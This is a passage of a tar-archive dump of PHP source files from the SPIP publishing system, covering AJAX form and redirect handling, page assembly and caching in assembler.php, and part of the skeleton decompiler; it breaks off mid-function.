$var_f = charger_fonction($action, 'action'); $var_f(); if (!isset($GLOBALS['redirect'])) { $GLOBALS['redirect'] = _request('redirect'); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $GLOBALS['redirect'] = urldecode($GLOBALS['redirect']); } $GLOBALS['redirect'] = securiser_redirect_action($GLOBALS['redirect']); } if ($url = $GLOBALS['redirect']) { // si l'action est provoque par un hit {ajax} // il faut transmettre l'env ajax au redirect // qui a pu etre defini par l'action if (($v = _request('var_ajax')) and ($v !== 'form') and ($args = _request('var_ajax_env')) ) { $url = parametre_url($url, 'var_ajax', $v, '&'); $url = parametre_url($url, 'var_ajax_env', $args, '&'); // passer l'ancre en variable pour pouvoir la gerer cote serveur $url = preg_replace(',#([^#&?]+)$,', "&var_ajax_ancre=\\1", $url); } $url = str_replace('&', '&', $url); // les redirections se font en &, pas en en & redirige_par_entete($url); } if (!headers_sent() and !ob_get_length() ) { http_status(204); } // No Content return true; } return false; } // http://code.spip.net/@refuser_traiter_formulaire_ajax function refuser_traiter_formulaire_ajax() { if ($v = _request('var_ajax') and $v == 'form' and $form = _request('formulaire_action') and $args = _request('formulaire_action_args') and decoder_contexte_ajax($args, $form) !== false ) { // on est bien dans le contexte de traitement d'un formulaire en ajax // mais traiter ne veut pas // on le dit a la page qui va resumbit // sans ajax include_spip('inc/actions'); ajax_retour('noajax', false); exit; } } // http://code.spip.net/@traiter_appels_inclusions_ajax function traiter_appels_inclusions_ajax() { // traiter les appels de bloc ajax (ex: pagination) if ($v = _request('var_ajax') and $v !== 'form' and $args = _request('var_ajax_env') ) { include_spip('inc/filtres'); include_spip('inc/actions'); if ($args = decoder_contexte_ajax($args) and $fond = $args['fond'] ) { include_spip('public/assembler'); $contexte = calculer_contexte(); $contexte = array_merge($args, $contexte); $page = recuperer_fond($fond, $contexte, array('trim' => false)); $texte = $page; if ($ancre = _request('var_ajax_ancre')) { // pas n'importe quoi quand meme dans la variable ! $ancre = str_replace(array('<', '"', "'"), array('<', '"', ''), $ancre); $texte = "<a href='#$ancre' name='ajax_ancre' style='display:none;'>anchor</a>" . $texte; } } else { include_spip('inc/headers'); http_status(403); $texte = _L('signature ajax bloc incorrecte'); } ajax_retour($texte, false); return true; // on a fini le hit } return false; } // au 1er appel, traite les formulaires dynamiques charger/verifier/traiter // au 2e se sachant 2e, retourne les messages et erreurs stockes au 1er // Le 1er renvoie True si il faut faire exit a la sortie // http://code.spip.net/@traiter_formulaires_dynamiques function traiter_formulaires_dynamiques($get = false) { static $post = array(); static $done = false; if ($get) { return $post; } if ($done) { return false; } $done = true; if (!($form = _request('formulaire_action') and $args = _request('formulaire_action_args')) ) { return false; } // le hit peut continuer normalement include_spip('inc/filtres'); if (($args = decoder_contexte_ajax($args, $form)) === false) { spip_log("signature ajax form incorrecte : $form"); return false; // continuons le hit comme si de rien etait } else { include_spip('inc/lang'); // sauvegarder la lang en cours $old_lang = $GLOBALS['spip_lang']; // changer la langue avec celle qui a cours dans le formulaire // on la depile de $args car c'est un argument implicite masque changer_langue(array_shift($args)); // inclure mes_fonctions et autres filtres avant verifier/traiter include_spip('public/parametrer'); // ainsi que l'API SQL bien utile dans verifier/traiter include_spip('base/abstract_sql'); /** * Pipeline exécuté lors de la soumission d'un formulaire, * mais avant l'appel de la fonction de vérification. */ pipeline( 'formulaire_receptionner', array( 'args' => array('form' => $form, 'args' => $args), 'data' => null, ) ); $verifier = charger_fonction("verifier", "formulaires/$form/", true); $post["erreurs_$form"] = pipeline( 'formulaire_verifier', array( 'args' => array('form' => $form, 'args' => $args), 'data' => $verifier ? call_user_func_array($verifier, $args) : array() ) ); // prise en charge CVT multi etape si besoin if (_request('cvtm_prev_post')) { include_spip('inc/cvt_multietapes'); $post["erreurs_$form"] = cvtmulti_formulaire_verifier_etapes( array('form' => $form, 'args' => $args), $post["erreurs_$form"] ); } // accessibilite : si des erreurs mais pas de message general l'ajouter if (count($post["erreurs_$form"]) and !isset($post["erreurs_$form"]['message_erreur'])) { $post["erreurs_$form"]['message_erreur'] = singulier_ou_pluriel(count($post["erreurs_$form"]), 'avis_1_erreur_saisie', 'avis_nb_erreurs_saisie'); } // si on ne demandait qu'une verif json if (_request('formulaire_action_verifier_json')) { include_spip('inc/json'); include_spip('inc/actions'); ajax_retour(json_encode($post["erreurs_$form"]), 'text/plain'); return true; // on a fini le hit } $retour = ""; if ((count($post["erreurs_$form"]) == 0)) { $rev = ""; if ($traiter = charger_fonction("traiter", "formulaires/$form/", true)) { $rev = call_user_func_array($traiter, $args); } $rev = pipeline( 'formulaire_traiter', array( 'args' => array('form' => $form, 'args' => $args), 'data' => $rev ) ); // le retour de traiter est // un tableau explicite ('editable'=>$editable,'message_ok'=>$message,'redirect'=>$redirect,'id_xx'=>$id_xx) // il permet le pipelinage, en particulier // en y passant l'id de l'objet cree/modifie // si message_erreur est present, on considere que le traitement a echoue $post["message_ok_$form"] = ''; // on peut avoir message_ok et message_erreur if (isset($rev['message_ok'])) { $post["message_ok_$form"] = $rev['message_ok']; } // verifier si traiter n'a pas echoue avec une erreur : if (isset($rev['message_erreur'])) { $post["erreurs_$form"]["message_erreur"] = $rev['message_erreur']; // si il y a une erreur on ne redirige pas } else { // sinon faire ce qu'il faut : if (isset($rev['editable'])) { $post["editable_$form"] = $rev['editable']; } // si une redirection est demandee, appeler redirigae_formulaire qui choisira // le bon mode de redirection (302 et on ne revient pas ici, ou javascript et on continue) if (isset($rev['redirect']) and $rev['redirect']) { include_spip('inc/headers'); list($masque, $message) = redirige_formulaire($rev['redirect'], '', 'ajaxform'); $post["message_ok_$form"] .= $message; $retour .= $masque; } } } // si le formulaire a ete soumis en ajax, on le renvoie direct ! if (_request('var_ajax')) { if (find_in_path('formulaire_.php', 'balise/', true)) { include_spip('inc/actions'); include_spip('public/assembler'); array_unshift($args, $form); $retour .= inclure_balise_dynamique(call_user_func_array('balise_formulaire__dyn', $args), false); // on ajoute un br en display none en tete du retour ajax pour regler un bug dans IE6/7 // sans cela le formulaire n'est pas actif apres le hit ajax // la classe ajax-form-is-ok sert a s'assurer que le retour ajax s'est bien passe $retour = "<br class='bugajaxie ajax-form-is-ok' style='display:none;'/>" . $retour; ajax_retour($retour, false); return true; // on a fini le hit } } // restaurer la lang en cours changer_langue($old_lang); } return false; // le hit peut continuer normalement } index.php000066600000000002152442520540006363 0ustar00X assembler.php000066600000053542152442520540007252 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Ce fichier regroupe les fonctions permettant de calculer la page et les entêtes * * Determine le contexte donne par l'URL (en tenant compte des reecritures) * grace a la fonction de passage d'URL a id (reciproque dans urls/*php) * * @package SPIP\Core\Compilateur\Assembler **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } if (!defined('_CONTEXTE_IGNORE_VARIABLES')) { define('_CONTEXTE_IGNORE_VARIABLES', "/(^var_|^PHPSESSID$|^fbclid$|^utm_)/"); } // http://code.spip.net/@assembler function assembler($fond, $connect = '') { // flag_preserver est modifie ici, et utilise en globale // use_cache sert a informer le bouton d'admin pr savoir s'il met un * // contexte est utilise en globale dans le formulaire d'admin $GLOBALS['contexte'] = calculer_contexte(); $page = array('contexte_implicite' => calculer_contexte_implicite()); $page['contexte_implicite']['cache'] = $fond . preg_replace(',\.[a-zA-Z0-9]*$,', '', preg_replace('/[?].*$/', '', $GLOBALS['REQUEST_URI'])); // Cette fonction est utilisee deux fois $cacher = charger_fonction('cacher', 'public', true); // Les quatre derniers parametres sont modifies par la fonction: // emplacement, validite, et, s'il est valide, contenu & age if ($cacher) { $res = $cacher($GLOBALS['contexte'], $GLOBALS['use_cache'], $chemin_cache, $page, $lastmodified); } else { $GLOBALS['use_cache'] = -1; } // Si un resultat est retourne, c'est un message d'impossibilite if ($res) { return array('texte' => $res); } if (!$chemin_cache || !$lastmodified) { $lastmodified = time(); } $headers_only = ($_SERVER['REQUEST_METHOD'] == 'HEAD'); $calculer_page = true; // Pour les pages non-dynamiques (indiquees par #CACHE{duree,cache-client}) // une perennite valide a meme reponse qu'une requete HEAD (par defaut les // pages sont dynamiques) if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) and (!defined('_VAR_MODE') or !_VAR_MODE) and $chemin_cache and isset($page['entetes']) and isset($page['entetes']['Cache-Control']) and strstr($page['entetes']['Cache-Control'], 'max-age=') and !strstr($_SERVER['SERVER_SOFTWARE'], 'IIS/') ) { $since = preg_replace('/;.*/', '', $_SERVER['HTTP_IF_MODIFIED_SINCE']); $since = str_replace('GMT', '', $since); if (trim($since) == gmdate("D, d M Y H:i:s", $lastmodified)) { $page['status'] = 304; $headers_only = true; $calculer_page = false; } } // Si requete HEAD ou Last-modified compatible, ignorer le texte // et pas de content-type (pour contrer le bouton admin de inc-public) if (!$calculer_page) { $page['texte'] = ""; } else { // si la page est prise dans le cache if (!$GLOBALS['use_cache']) { // Informer les boutons d'admin du contexte // (fourni par urls_decoder_url ci-dessous lors de la mise en cache) $GLOBALS['contexte'] = $page['contexte']; // vider les globales url propres qui ne doivent plus etre utilisees en cas // d'inversion url => objet // plus necessaire si on utilise bien la fonction urls_decoder_url #unset($_SERVER['REDIRECT_url_propre']); #unset($_ENV['url_propre']); } else { // Compat ascendante : // 1. $contexte est global // (a evacuer car urls_decoder_url gere ce probleme ?) // et calculer la page if (!test_espace_prive()) { include_spip('inc/urls'); list($fond, $GLOBALS['contexte'], $url_redirect) = urls_decoder_url(nettoyer_uri(), $fond, $GLOBALS['contexte'], true); } // squelette par defaut if (!strlen($fond)) { $fond = 'sommaire'; } // produire la page : peut mettre a jour $lastmodified $produire_page = charger_fonction('produire_page', 'public'); $page = $produire_page($fond, $GLOBALS['contexte'], $GLOBALS['use_cache'], $chemin_cache, null, $page, $lastmodified, $connect); if ($page === '') { $erreur = _T('info_erreur_squelette2', array('fichier' => spip_htmlspecialchars($fond) . '.' . _EXTENSION_SQUELETTES)); erreur_squelette($erreur); // eviter des erreurs strictes ensuite sur $page['cle'] en PHP >= 5.4 $page = array('texte' => '', 'erreur' => $erreur); } } if ($page and $chemin_cache) { $page['cache'] = $chemin_cache; } auto_content_type($page); $GLOBALS['flag_preserver'] |= headers_sent(); // Definir les entetes si ce n'est fait if (!$GLOBALS['flag_preserver']) { if ($GLOBALS['flag_ob']) { // Si la page est vide, produire l'erreur 404 ou message d'erreur pour les inclusions if (trim($page['texte']) === '' and _VAR_MODE != 'debug' and !isset($page['entetes']['Location']) // cette page realise une redirection, donc pas d'erreur ) { $GLOBALS['contexte']['fond_erreur'] = $fond; $page = message_page_indisponible($page, $GLOBALS['contexte']); } // pas de cache client en mode 'observation' if (defined('_VAR_MODE') and _VAR_MODE) { $page['entetes']["Cache-Control"] = "no-cache,must-revalidate"; $page['entetes']["Pragma"] = "no-cache"; } } } } // Entete Last-Modified: // eviter d'etre incoherent en envoyant un lastmodified identique // a celui qu'on a refuse d'honorer plus haut (cf. #655) if ($lastmodified and !isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) and !isset($page['entetes']["Last-Modified"]) ) { $page['entetes']["Last-Modified"] = gmdate("D, d M Y H:i:s", $lastmodified) . " GMT"; } // fermer la connexion apres les headers si requete HEAD if ($headers_only) { $page['entetes']["Connection"] = "close"; } return $page; } /** * Calcul le contexte de la page * * lors du calcul d'une page spip etablit le contexte a partir * des variables $_GET et $_POST, purgees des fausses variables var_* * * Note : pour hacker le contexte depuis le fichier d'appel (page.php), * il est recommande de modifier $_GET['toto'] (meme si la page est * appelee avec la methode POST). * * http://code.spip.net/@calculer_contexte * * @return array Un tableau du contexte de la page */ function calculer_contexte() { $contexte = array(); foreach ($_GET as $var => $val) { if (!preg_match(_CONTEXTE_IGNORE_VARIABLES, $var)) { $contexte[$var] = $val; } } foreach ($_POST as $var => $val) { if (!preg_match(_CONTEXTE_IGNORE_VARIABLES, $var)) { $contexte[$var] = $val; } } return $contexte; } /** * Calculer le contexte implicite, qui n'apparait pas dans le ENV d'un cache * mais est utilise pour distinguer deux caches differents * * @staticvar string $notes * @return array */ function calculer_contexte_implicite() { static $notes = null; if (is_null($notes)) { $notes = charger_fonction('notes', 'inc', true); } $contexte_implicite = array( 'squelettes' => $GLOBALS['dossier_squelettes'], // devrait etre 'chemin' => $GLOBALS['path_sig'], ? 'host' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : null), 'https' => (isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : ''), 'espace' => test_espace_prive(), 'marqueur' => (isset($GLOBALS['marqueur']) ? $GLOBALS['marqueur'] : ''), 'marqueur_skel' => (isset($GLOBALS['marqueur_skel']) ? $GLOBALS['marqueur_skel'] : ''), 'notes' => $notes ? $notes('', 'contexter_cache') : '', 'spip_version_code' => $GLOBALS['spip_version_code'], ); if (isset($_SERVER['HTTP_X_FORWARDED_HOST'])) { $contexte_implicite['host'] .= "|" . $_SERVER['HTTP_X_FORWARDED_HOST']; } return $contexte_implicite; } // // fonction pour compatibilite arriere, probablement superflue // // http://code.spip.net/@auto_content_type function auto_content_type($page) { if (!isset($GLOBALS['flag_preserver'])) { $GLOBALS['flag_preserver'] = ($page && preg_match("/header\s*\(\s*.content\-type:/isx", $page['texte']) || (isset($page['entetes']['Content-Type']))); } } // http://code.spip.net/@inclure_page function inclure_page($fond, $contexte, $connect = '') { static $cacher, $produire_page; // enlever le fond de contexte inclus car sinon il prend la main // dans les sous inclusions -> boucle infinie d'inclusion identique // (cette precaution n'est probablement plus utile) unset($contexte['fond']); $page = array('contexte_implicite' => calculer_contexte_implicite()); $page['contexte_implicite']['cache'] = $fond; if (is_null($cacher)) { $cacher = charger_fonction('cacher', 'public', true); } // Les quatre derniers parametres sont modifies par la fonction: // emplacement, validite, et, s'il est valide, contenu & age if ($cacher) { $res = $cacher($contexte, $use_cache, $chemin_cache, $page, $lastinclude); } else { $use_cache = -1; } // $res = message d'erreur : on sort de la if ($res) { return array('texte' => $res); } // Si use_cache ne vaut pas 0, la page doit etre calculee // produire la page : peut mettre a jour $lastinclude // le contexte_cache envoye a cacher() a ete conserve et est passe a produire if ($use_cache) { if (is_null($produire_page)) { $produire_page = charger_fonction('produire_page', 'public'); } $page = $produire_page($fond, $contexte, $use_cache, $chemin_cache, $contexte, $page, $lastinclude, $connect); } // dans tous les cas, mettre a jour $GLOBALS['lastmodified'] $GLOBALS['lastmodified'] = max((isset($GLOBALS['lastmodified']) ? $GLOBALS['lastmodified'] : 0), $lastinclude); return $page; } /** * Produire la page et la mettre en cache * lorsque c'est necessaire * * @param string $fond * @param array $contexte * @param int $use_cache * @param string $chemin_cache * @param array $contexte_cache * @param array $page * @param int $lastinclude * @param string $connect * @return array */ function public_produire_page_dist( $fond, $contexte, $use_cache, $chemin_cache, $contexte_cache, &$page, &$lastinclude, $connect = '' ) { static $parametrer, $cacher; if (!$parametrer) { $parametrer = charger_fonction('parametrer', 'public'); } $page = $parametrer($fond, $contexte, $chemin_cache, $connect); // et on l'enregistre sur le disque if ($chemin_cache and $use_cache > -1 and is_array($page) and count($page) and isset($page['entetes']['X-Spip-Cache']) and $page['entetes']['X-Spip-Cache'] > 0 ) { if (is_null($cacher)) { $cacher = charger_fonction('cacher', 'public', true); } $lastinclude = time(); if ($cacher) { $cacher($contexte_cache, $use_cache, $chemin_cache, $page, $lastinclude); } else { $use_cache = -1; } } return $page; } // Fonction inseree par le compilateur dans le code compile. // Elle recoit un contexte pour inclure un squelette, // et les valeurs du contexte de compil prepare par memoriser_contexte_compil // elle-meme appelee par calculer_balise_dynamique dans references.php: // 0: sourcefile // 1: codefile // 2: id_boucle // 3: ligne // 4: langue function inserer_balise_dynamique($contexte_exec, $contexte_compil) { if (!is_array($contexte_exec)) { echo $contexte_exec; } // message d'erreur etc else { inclure_balise_dynamique($contexte_exec, true, $contexte_compil); } } /** * Inclusion de balise dynamique * Attention, un appel explicite a cette fonction suppose certains include * * http://code.spip.net/@inclure_balise_dynamique * * @param string|array $texte * @param bool $echo Faut-il faire echo ou return * @param array $contexte_compil Contexte de la compilation * @return string */ function inclure_balise_dynamique($texte, $echo = true, $contexte_compil = array()) { if (is_array($texte)) { list($fond, $delainc, $contexte_inclus) = $texte; // delais a l'ancienne, c'est pratiquement mort $d = isset($GLOBALS['delais']) ? $GLOBALS['delais'] : null; $GLOBALS['delais'] = $delainc; $page = recuperer_fond($fond, $contexte_inclus, array('trim' => false, 'raw' => true, 'compil' => $contexte_compil)); $texte = $page['texte']; $GLOBALS['delais'] = $d; // Faire remonter les entetes if (is_array($page['entetes'])) { // mais pas toutes unset($page['entetes']['X-Spip-Cache']); unset($page['entetes']['Content-Type']); if (isset($GLOBALS['page']) and is_array($GLOBALS['page'])) { if (!is_array($GLOBALS['page']['entetes'])) { $GLOBALS['page']['entetes'] = array(); } $GLOBALS['page']['entetes'] = array_merge($GLOBALS['page']['entetes'], $page['entetes']); } } // _pipelines au pluriel array('nom_pipeline' => $args...) avec une syntaxe permettant plusieurs pipelines if (isset($page['contexte']['_pipelines']) and is_array($page['contexte']['_pipelines']) and count($page['contexte']['_pipelines']) ) { foreach ($page['contexte']['_pipelines'] as $pipe => $args) { $args['contexte'] = $page['contexte']; unset($args['contexte']['_pipelines']); // par precaution, meme si le risque de boucle infinie est a priori nul $texte = pipeline( $pipe, array( 'data' => $texte, 'args' => $args ), false ); } } } if (defined('_VAR_MODE') and _VAR_MODE == 'debug') { // compatibilite : avant on donnait le numero de ligne ou rien. $ligne = intval(isset($contexte_compil[3]) ? $contexte_compil[3] : $contexte_compil); $GLOBALS['debug_objets']['resultat'][$ligne] = $texte; } if ($echo) { echo $texte; } else { return $texte; } } // http://code.spip.net/@message_page_indisponible function message_page_indisponible($page, $contexte) { static $deja = false; if ($deja) { return "erreur"; } $codes = array( '404' => '404 Not Found', '503' => '503 Service Unavailable', ); $contexte['status'] = ($page !== false) ? '404' : '503'; $contexte['code'] = $codes[$contexte['status']]; $contexte['fond'] = '404'; // gere les 2 erreurs if (!isset($contexte['lang'])) { $contexte['lang'] = $GLOBALS['spip_lang']; } $deja = true; // passer aux plugins qui peuvent decider d'une page d'erreur plus pertinent // ex restriction d'acces => 401 $contexte = pipeline('page_indisponible', $contexte); // produire la page d'erreur $page = inclure_page($contexte['fond'], $contexte); if (!$page) { $page = inclure_page('404', $contexte); } $page['status'] = $contexte['status']; return $page; } // temporairement ici : a mettre dans le futur inc/modeles // creer_contexte_de_modele('left', 'autostart=true', ...) renvoie un array() // http://code.spip.net/@creer_contexte_de_modele function creer_contexte_de_modele($args) { $contexte = array(); foreach ($args as $var => $val) { if (is_int($var)) { // argument pas formate if (in_array($val, array('left', 'right', 'center'))) { $var = 'align'; $contexte[$var] = $val; } else { $args = explode('=', $val); if (count($args) >= 2) // Flashvars=arg1=machin&arg2=truc genere plus de deux args { $contexte[trim($args[0])] = substr($val, strlen($args[0]) + 1); } else // notation abregee { $contexte[trim($val)] = trim($val); } } } else { $contexte[$var] = $val; } } return $contexte; } /** * Calcule le modele et retourne la mini-page ainsi calculee * * http://code.spip.net/@inclure_modele * * @param $type string Nom du modele * @param $id int * @param $params array Paramètres du modèle * @param $lien array Informations du lien entourant l'appel du modèle en base de données * @param $connect string * @param $env array * @staticvar string $compteur * @return string */ function inclure_modele($type, $id, $params, $lien, $connect = '', $env = array()) { static $compteur; if (++$compteur > 10) { return ''; } # ne pas boucler indefiniment $type = strtolower($type); $fond = $class = ''; $params = array_filter(explode('|', $params)); if ($params) { list(, $soustype) = each($params); $soustype = strtolower(trim($soustype)); if (in_array($soustype, array('left', 'right', 'center', 'ajax'))) { list(, $soustype) = each($params); $soustype = strtolower($soustype); } if (preg_match(',^[a-z0-9_]+$,', $soustype)) { if (!trouve_modele($fond = ($type . '_' . $soustype))) { $fond = ''; $class = $soustype; } // enlever le sous type des params $params = array_diff($params, array($soustype)); } } // Si ca marche pas en precisant le sous-type, prendre le type if (!$fond and !trouve_modele($fond = $type)) { spip_log("Modele $type introuvable", _LOG_INFO_IMPORTANTE); return false; } $fond = 'modeles/' . $fond; // Creer le contexte $contexte = $env; $contexte['dir_racine'] = _DIR_RACINE; # eviter de mixer un cache racine et un cache ecrire (meme si pour l'instant les modeles ne sont pas caches, le resultat etant different il faut que le contexte en tienne compte // Le numero du modele est mis dans l'environnement // d'une part sous l'identifiant "id" // et d'autre part sous l'identifiant de la cle primaire // par la fonction id_table_objet, // (<article1> =>> article =>> id_article =>> id_article=1) $_id = id_table_objet($type); $contexte['id'] = $contexte[$_id] = $id; if (isset($class)) { $contexte['class'] = $class; } // Si un lien a ete passe en parametre, ex: [<modele1>->url] ou [<modele1|title_du_lien{hreflang}->url] if ($lien) { # un eventuel guillemet (") sera reechappe par #ENV $contexte['lien'] = str_replace(""", '"', $lien['href']); $contexte['lien_class'] = $lien['class']; $contexte['lien_mime'] = $lien['mime']; $contexte['lien_title'] = $lien['title']; $contexte['lien_hreflang'] = $lien['hreflang']; } // Traiter les parametres // par exemple : <img1|center>, <emb12|autostart=true> ou <doc1|lang=en> $arg_list = creer_contexte_de_modele($params); $contexte['args'] = $arg_list; // on passe la liste des arguments du modeles dans une variable args $contexte = array_merge($contexte, $arg_list); // Appliquer le modele avec le contexte $retour = recuperer_fond($fond, $contexte, array(), $connect); // Regarder si le modele tient compte des liens (il *doit* alors indiquer // spip_lien_ok dans les classes de son conteneur de premier niveau ; // sinon, s'il y a un lien, on l'ajoute classiquement if (strstr(' ' . ($classes = extraire_attribut($retour, 'class')) . ' ', 'spip_lien_ok')) { $retour = inserer_attribut($retour, 'class', trim(str_replace(' spip_lien_ok ', ' ', " $classes "))); } else { if ($lien) { $retour = "<a href='" . $lien['href'] . "' class='" . $lien['class'] . "'>" . $retour . "</a>"; } } $compteur--; return (isset($arg_list['ajax']) and $arg_list['ajax'] == 'ajax') ? encoder_contexte_ajax($contexte, '', $retour) : $retour; } // Un inclure_page qui marche aussi pour l'espace prive // fonction interne a spip, ne pas appeler directement // pour recuperer $page complet, utiliser: // recuperer_fond($fond,$contexte,array('raw'=>true)) // http://code.spip.net/@evaluer_fond function evaluer_fond($fond, $contexte = array(), $connect = null) { $page = inclure_page($fond, $contexte, $connect); if (!$page) { return $page; } // eval $page et affecte $res include _ROOT_RESTREINT . "public/evaluer_page.php"; // Lever un drapeau (global) si le fond utilise #SESSION // a destination de public/parametrer // pour remonter vers les inclusions appelantes // il faut bien lever ce drapeau apres avoir evalue le fond // pour ne pas faire descendre le flag vers les inclusions appelees if (isset($page['invalideurs']) and isset($page['invalideurs']['session']) ) { $GLOBALS['cache_utilise_session'] = $page['invalideurs']['session']; } return $page; } // http://code.spip.net/@page_base_href function page_base_href(&$texte) { static $set_html_base = null; if (is_null($set_html_base)) { if (!defined('_SET_HTML_BASE')) // si la profondeur est superieure a 1 // est que ce n'est pas une url page ni une url action // activer par defaut { $set_html_base = (( $GLOBALS['profondeur_url'] >= (_DIR_RESTREINT ? 1 : 2) and _request(_SPIP_PAGE) !== 'login' and !_request('action')) ? true : false); } else { $set_html_base = _SET_HTML_BASE; } } if ($set_html_base and isset($GLOBALS['html']) and $GLOBALS['html'] and $GLOBALS['profondeur_url'] > 0 and ($poshead = strpos($texte, '</head>')) !== false ) { $head = substr($texte, 0, $poshead); $insert = false; if (strpos($head, '<base') === false) { $insert = true; } else { // si aucun <base ...> n'a de href c'est bon quand meme ! $insert = true; include_spip('inc/filtres'); $bases = extraire_balises($head, 'base'); foreach ($bases as $base) { if (extraire_attribut($base, 'href')) { $insert = false; } } } if ($insert) { include_spip('inc/filtres_mini'); // ajouter un base qui reglera tous les liens relatifs $base = url_absolue('./'); $bbase = "\n<base href=\"$base\" />"; if (($pos = strpos($head, '<head>')) !== false) { $head = substr_replace($head, $bbase, $pos + 6, 0); } elseif (preg_match(",<head[^>]*>,i", $head, $r)) { $head = str_replace($r[0], $r[0] . $bbase, $head); } $texte = $head . substr($texte, $poshead); // gerer les ancres $base = $_SERVER['REQUEST_URI']; // pas de guillemets ni < dans l'URL qu'on insere dans le HTML if (strpos($base,"'") or strpos($base,'"') or strpos($base,'<')) { $base = str_replace(array("'",'"','<'),array("%27",'%22','%3C'), $base); } if (strpos($texte, "href='#") !== false) { $texte = str_replace("href='#", "href='$base#", $texte); } if (strpos($texte, "href=\"#") !== false) { $texte = str_replace("href=\"#", "href=\"$base#", $texte); } } } } // Envoyer les entetes, en retenant ceux qui sont a usage interne // et demarrent par X-Spip-... // http://code.spip.net/@envoyer_entetes function envoyer_entetes($entetes) { foreach ($entetes as $k => $v) # if (strncmp($k, 'X-Spip-', 7)) { @header(strlen($v) ? "$k: $v" : $k); } } decompiler.php000066600000014426152442520540007416 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } // Decompilation de l'arbre de syntaxe abstraite d'un squelette SPIP function decompiler_boucle($struct, $fmt = '', $prof = 0) { $nom = $struct->id_boucle; $avant = decompiler_($struct->avant, $fmt, $prof); $apres = decompiler_($struct->apres, $fmt, $prof); $altern = decompiler_($struct->altern, $fmt, $prof); $milieu = decompiler_($struct->milieu, $fmt, $prof); $type = $struct->sql_serveur ? "$struct->sql_serveur:" : ''; $type .= ($struct->type_requete ? $struct->type_requete : $struct->table_optionnelle); if ($struct->jointures_explicites) { $type .= " " . $struct->jointures_explicites; } if ($struct->table_optionnelle) { $type .= "?"; } // Revoir le cas de la boucle recursive $crit = $struct->param; if ($crit and !is_array($crit[0])) { $type = strtolower($type) . array_shift($crit); } $crit = decompiler_criteres($struct, $fmt, $prof); $f = 'format_boucle_' . $fmt; return $f($avant, $nom, $type, $crit, $milieu, $apres, $altern, $prof); } function decompiler_include($struct, $fmt = '', $prof = 0) { $res = array(); foreach ($struct->param ? $struct->param : array() as $couple) { array_shift($couple); foreach ($couple as $v) { $res[] = decompiler_($v, $fmt, $prof); } } $file = is_string($struct->texte) ? $struct->texte : decompiler_($struct->texte, $fmt, $prof); $f = 'format_inclure_' . $fmt; return $f($file, $res, $prof); } function decompiler_texte($struct, $fmt = '', $prof = 0) { $f = 'format_texte_' . $fmt; return strlen($struct->texte) ? $f($struct->texte, $prof) : ''; } function decompiler_polyglotte($struct, $fmt = '', $prof = 0) { $f = 'format_polyglotte_' . $fmt; return $f($struct->traductions, $prof); } function decompiler_idiome($struct, $fmt = '', $prof = 0) { $args = array(); foreach ($struct->arg as $k => $v) { $args[$k] = public_decompiler($v, $fmt, $prof); } $filtres = decompiler_liste($struct->param, $fmt, $prof); $f = 'format_idiome_' . $fmt; return $f($struct->nom_champ, $struct->module, $args, $filtres, $prof); } function decompiler_champ($struct, $fmt = '', $prof = 0) { $avant = decompiler_($struct->avant, $fmt, $prof); $apres = decompiler_($struct->apres, $fmt, $prof); $args = $filtres = ''; if ($p = $struct->param) { if ($p[0][0] === '') { $args = decompiler_liste(array(array_shift($p)), $fmt, $prof); } $filtres = decompiler_liste($p, $fmt, $prof); } $f = 'format_champ_' . $fmt; return $f($struct->nom_champ, $struct->nom_boucle, $struct->etoile, $avant, $apres, $args, $filtres, $prof); } function decompiler_liste($sources, $fmt = '', $prof = 0) { if (!is_array($sources)) { return ''; } $f = 'format_liste_' . $fmt; $res = ''; foreach ($sources as $arg) { if (!is_array($arg)) { continue; // ne devrait pas arriver. } else { $r = array_shift($arg); } $args = array(); foreach ($arg as $v) { // cas des arguments entoures de ' ou " if ((count($v) == 1) and $v[0]->type == 'texte' and (strlen($v[0]->apres) == 1) and $v[0]->apres == $v[0]->avant ) { $args[] = $v[0]->avant . $v[0]->texte . $v[0]->apres; } else { $args[] = decompiler_($v, $fmt, 0 - $prof); } } if (($r !== '') or $args) { $res .= $f($r, $args, $prof); } } return $res; } // Decompilation des criteres: on triche et on deroge: // - le phraseur fournit un bout du source en plus de la compil // - le champ apres signale le critere {"separateur"} ou {'separateur'} // - les champs sont implicitement etendus (crochets implicites mais interdits) function decompiler_criteres($boucle, $fmt = '', $prof = 0) { $sources = $boucle->param; if (!is_array($sources)) { return ''; } $res = ''; $f = 'format_critere_' . $fmt; foreach ($sources as $crit) { if (!is_array($crit)) { continue; } // boucle recursive array_shift($crit); $args = array(); foreach ($crit as $i => $v) { if ((count($v) == 1) and $v[0]->type == 'texte' and $v[0]->apres ) { $args[] = array(array('texte', ($v[0]->apres . $v[0]->texte . $v[0]->apres))); } else { $res2 = array(); foreach ($v as $k => $p) { if (isset($p->type) and function_exists($d = 'decompiler_' . $p->type) ) { $r = $d($p, $fmt, (0 - $prof), @$v[$k + 1]); $res2[] = array($p->type, $r); } else { spip_log("critere $i / $k mal forme"); } } $args[] = $res2; } } $res .= $f($args); } return $res; } function decompiler_($liste, $fmt = '', $prof = 0) { if (!is_array($liste)) { return ''; } $prof2 = ($prof < 0) ? ($prof - 1) : ($prof + 1); $contenu = array(); foreach ($liste as $k => $p) { if (!isset($p->type)) { continue; } #?????? $d = 'decompiler_' . $p->type; $next = isset($liste[$k + 1]) ? $liste[$k + 1] : false; // Forcer le champ etendu si son source (pas les reecritures) // contenait des args et s'il est suivi d'espaces, // le champ simple les eliminant est un bug helas perenne. if ($next and ($next->type == 'texte') and $p->type == 'champ' and !$p->apres and !$p->avant 